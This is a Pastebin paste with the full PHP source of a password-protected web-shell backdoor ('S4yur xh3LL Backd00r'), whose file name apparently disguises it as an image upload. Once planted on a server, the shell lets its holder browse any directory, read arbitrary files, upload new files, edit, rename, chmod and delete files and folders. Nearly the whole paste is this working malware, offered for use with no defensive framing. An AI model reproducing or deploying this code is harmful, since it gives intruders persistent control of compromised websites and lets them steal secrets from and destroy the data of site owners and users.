Advertisement
nil_007

t.php.pjpeg

Jan 23rd, 2018
322
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.48 KB | None | 0 0
  1. <?php
  2. /*------- Simpel Shell---------- */
  3. /*------ Coded by d3b~X -------- */
  4. session_start();
  5. echo '<title> [#]S4yur xh3LL Backd00r [#] </title>
  6. <head>
  7. <meta name="author" content="d3b~X | Gantengers-crew"/>
  8. <meta name="robots" content="noindex,nofollow" />
  9. </head>';
  10. error_reporting(0);
  11. function Login() {
  12. die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
  13. }
  14. function pesan($x) {
  15. echo "<script language=\"JavaScript\">
  16. window.alert(\"$x\");
  17. </script>";
  18. }
  19. // Login function
  20. $pass = $_POST[pass];
  21. $pass = md5($pass);
  22. $keys = '4607ed4bd8140e9664875f907f48ae14'; // ganteng
  23. $tipe = '@dmin';
  24. if ($pass==$keys) {
  25. $_SESSION['tipe'] = "$tipe";
  26. }
  27. $tipe = $_SESSION['tipe'];
  28. if ($tipe != '@dmin') {
  29. pesan("Maaf, Anda tidak berhak mengakses halaman ini..!");
  30. Login();
  31. }
  32. // array function available
  33. set_time_limit(0);
  34. error_reporting(0);
  35.  
  36. if(get_magic_quotes_gpc()){
  37. foreach($_POST as $key=>$value){
  38. $_POST[$key] = stripslashes($value);
  39. }
  40. }
  41. echo '<!DOCTYPE HTML>
  42. <HTML>
  43. <HEAD>
  44. <link href="" rel="stylesheet" type="text/css">
  45. <title>S4yur xh3LL Backd00r</title>
  46. <style>
  47. body{
  48. font-family: "Racing Sans One", cursive;
  49. background-color: #e6e6e6;
  50. text-shadow:0px 0px 1px #757575;
  51. }
  52. #content tr:hover{
  53. background-color: #636263;
  54. text-shadow:0px 0px 10px #fff;
  55. }
  56. #content .first{
  57. background-color: silver;
  58. }
  59. #content .first:hover{
  60. background-color: silver;
  61. text-shadow:0px 0px 1px #757575;
  62. }
  63. table{
  64. border: 1px #000000 dotted;
  65. }
  66. H1{
  67. font-family: "Rye", cursive;
  68. }
  69. a{
  70. color: #000;
  71. text-decoration: none;
  72. }
  73. a:hover{
  74. color: #fff;
  75. text-shadow:0px 0px 10px #ffffff;
  76. }
  77. input,select,textarea{
  78. border: 1px #000000 solid;
  79. -moz-border-radius: 5px;
  80. -webkit-border-radius:5px;
  81. border-radius:5px;
  82. }
  83. </style>
  84. </HEAD>
  85. <BODY>
  86. <H1><center>[#]S4yur xh3LL Backd00r [#] </center></H1>
  87. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  88. <tr><td>Current Path : ';
  89. if(isset($_GET['path'])){
  90. $path = $_GET['path'];
  91. }else{
  92. $path = getcwd();
  93. }
  94. $path = str_replace('\\','/',$path);
  95. $paths = explode('/',$path);
  96.  
  97. foreach($paths as $id=>$pat){
  98. if($pat == '' && $id == 0){
  99. $a = true;
  100. echo '<a href="?path=/">/</a>';
  101. continue;
  102. }
  103. if($pat == '') continue;
  104. echo '<a href="?path=';
  105. for($i=0;$i<=$id;$i++){
  106. echo "$paths[$i]";
  107. if($i != $id) echo "/";
  108. }
  109. echo '">'.$pat.'</a>/';
  110. }
  111. echo '</td></tr><tr><td>';
  112. if(isset($_FILES['file'])){
  113. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  114. echo '<font color="green">File Upload Done Kakak ~_^ .</font><br />';
  115. }else{
  116. echo '<font color="red">File Upload Error ~_~.</font><br />';
  117. }
  118. }
  119. echo '<form enctype="multipart/form-data" method="POST">
  120. Upload File : <input type="file" name="file" />
  121. <input type="submit" value="upload" />
  122. </form>
  123. </td></tr>';
  124. if(isset($_GET['filesrc'])){
  125. echo "<tr><td>Current File : ";
  126. echo $_GET['filesrc'];
  127. echo '</tr></td></table><br />';
  128. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  129. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  130. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  131. if($_POST['opt'] == 'chmod'){
  132. if(isset($_POST['perm'])){
  133. if(chmod($_POST['path'],$_POST['perm'])){
  134. echo '<font color="green">Change Permission Done.</font><br />';
  135. }else{
  136. echo '<font color="red">Change Permission Error.</font><br />';
  137. }
  138. }
  139. echo '<form method="POST">
  140. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  141. <input type="hidden" name="path" value="'.$_POST['path'].'">
  142. <input type="hidden" name="opt" value="chmod">
  143. <input type="submit" value="Go" />
  144. </form>';
  145. }elseif($_POST['opt'] == 'rename'){
  146. if(isset($_POST['newname'])){
  147. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  148. echo '<font color="green">Change Name Done.</font><br />';
  149. }else{
  150. echo '<font color="red">Change Name Error.</font><br />';
  151. }
  152. $_POST['name'] = $_POST['newname'];
  153. }
  154. echo '<form method="POST">
  155. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  156. <input type="hidden" name="path" value="'.$_POST['path'].'">
  157. <input type="hidden" name="opt" value="rename">
  158. <input type="submit" value="Go" />
  159. </form>';
  160. }elseif($_POST['opt'] == 'edit'){
  161. if(isset($_POST['src'])){
  162. $fp = fopen($_POST['path'],'w');
  163. if(fwrite($fp,$_POST['src'])){
  164. echo '<font color="green">Edit File Done ~_^.</font><br />';
  165. }else{
  166. echo '<font color="red">Edit File Error ~_~.</font><br />';
  167. }
  168. fclose($fp);
  169. }
  170. echo '<form method="POST">
  171. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  172. <input type="hidden" name="path" value="'.$_POST['path'].'">
  173. <input type="hidden" name="opt" value="edit">
  174. <input type="submit" value="Go" />
  175. </form>';
  176. }
  177. echo '</center>';
  178. }else{
  179. echo '</table><br /><center>';
  180. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  181. if($_POST['type'] == 'dir'){
  182. if(rmdir($_POST['path'])){
  183. echo '<font color="green">Delete Dir Done.</font><br />';
  184. }else{
  185. echo '<font color="red">Delete Dir Error.</font><br />';
  186. }
  187. }elseif($_POST['type'] == 'file'){
  188. if(unlink($_POST['path'])){
  189. echo '<font color="green">Delete File Done.</font><br />';
  190. }else{
  191. echo '<font color="red">Delete File Error.</font><br />';
  192. }
  193. }
  194. }
  195. echo '</center>';
  196. $scandir = scandir($path);
  197. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  198. <tr class="first">
  199. <td><center>Name</center></td>
  200. <td><center>Size</center></td>
  201. <td><center>Permissions</center></td>
  202. <td><center>Options</center></td>
  203. </tr>';
  204.  
  205. foreach($scandir as $dir){
  206. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  207. echo "<tr>
  208. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  209. <td><center>--</center></td>
  210. <td><center>";
  211. if(is_writable("$path/$dir")) echo '<font color="green">';
  212. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  213. echo perms("$path/$dir");
  214. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  215.  
  216. echo "</center></td>
  217. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  218. <select name=\"opt\">
  219. <option value=\"\"></option>
  220. <option value=\"delete\">Delete</option>
  221. <option value=\"chmod\">Chmod</option>
  222. <option value=\"rename\">Rename</option>
  223. </select>
  224. <input type=\"hidden\" name=\"type\" value=\"dir\">
  225. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  226. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  227. <input type=\"submit\" value=\">\" />
  228. </form></center></td>
  229. </tr>";
  230. }
  231. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  232. foreach($scandir as $file){
  233. if(!is_file("$path/$file")) continue;
  234. $size = filesize("$path/$file")/1024;
  235. $size = round($size,3);
  236. if($size >= 1024){
  237. $size = round($size/1024,2).' MB';
  238. }else{
  239. $size = $size.' KB';
  240. }
  241.  
  242. echo "<tr>
  243. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  244. <td><center>".$size."</center></td>
  245. <td><center>";
  246. if(is_writable("$path/$file")) echo '<font color="green">';
  247. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  248. echo perms("$path/$file");
  249. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  250. echo "</center></td>
  251. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  252. <select name=\"opt\">
  253. <option value=\"\"></option>
  254. <option value=\"delete\">Delete</option>
  255. <option value=\"chmod\">Chmod</option>
  256. <option value=\"rename\">Rename</option>
  257. <option value=\"edit\">Edit</option>
  258. </select>
  259. <input type=\"hidden\" name=\"type\" value=\"file\">
  260. <input type=\"hidden\" name=\"name\" value=\"$file\">
  261. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  262. <input type=\"submit\" value=\">\" />
  263. </form></center></td>
  264. </tr>";
  265. }
  266. echo '</table>
  267. </div>';
  268. }
  269. echo '<br />S4yur xh3LL Backd00r <font color="blue">New</font>, Coded By <font color="blue">aAn - Indonesian Cyber Freedom</font>
  270. </BODY>
  271. </HTML>';
  272. function perms($file){
  273. $perms = fileperms($file);
  274.  
  275. if (($perms & 0xC000) == 0xC000) {
  276. // Socket
  277. $info = 's';
  278. } elseif (($perms & 0xA000) == 0xA000) {
  279. // Symbolic Link
  280. $info = 'l';
  281. } elseif (($perms & 0x8000) == 0x8000) {
  282. // Regular
  283. $info = '-';
  284. } elseif (($perms & 0x6000) == 0x6000) {
  285. // Block special
  286. $info = 'b';
  287. } elseif (($perms & 0x4000) == 0x4000) {
  288. // Directory
  289. $info = 'd';
  290. } elseif (($perms & 0x2000) == 0x2000) {
  291. // Character special
  292. $info = 'c';
  293. } elseif (($perms & 0x1000) == 0x1000) {
  294. // FIFO pipe
  295. $info = 'p';
  296. } else {
  297. // Unknown
  298. $info = 'u';
  299. }
  300.  
  301. // Owner
  302. $info .= (($perms & 0x0100) ? 'r' : '-');
  303. $info .= (($perms & 0x0080) ? 'w' : '-');
  304. $info .= (($perms & 0x0040) ?
  305. (($perms & 0x0800) ? 's' : 'x' ) :
  306. (($perms & 0x0800) ? 'S' : '-'));
  307.  
  308. // Group
  309. $info .= (($perms & 0x0020) ? 'r' : '-');
  310. $info .= (($perms & 0x0010) ? 'w' : '-');
  311. $info .= (($perms & 0x0008) ?
  312. (($perms & 0x0400) ? 's' : 'x' ) :
  313. (($perms & 0x0400) ? 'S' : '-'));
  314.  
  315. // World
  316. $info .= (($perms & 0x0004) ? 'r' : '-');
  317. $info .= (($perms & 0x0002) ? 'w' : '-');
  318. $info .= (($perms & 0x0001) ?
  319. (($perms & 0x0200) ? 't' : 'x' ) :
  320. (($perms & 0x0200) ? 'T' : '-'));
  321.  
  322. return $info;
  323. }
  324. ?>
  325.  
  326. <!-- --------Cursor--------- -->
  327. <style type='text/css'>body, a, a:link{cursor:url(http://4.bp.blogspot.com/-hAF7tPUnmEE/TwGR3lRH0EI/AAAAAAAAAs8/6pki22hc3NE/s1600/ass.png), default;} a:hover {cursor:url(http://3.bp.blogspot.com/-bRikgqeZx0Q/TwGR4MUEC7I/AAAAAAAAAtA/isJmS0r35Qw/s1600/pointer.png),wait;}</style>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement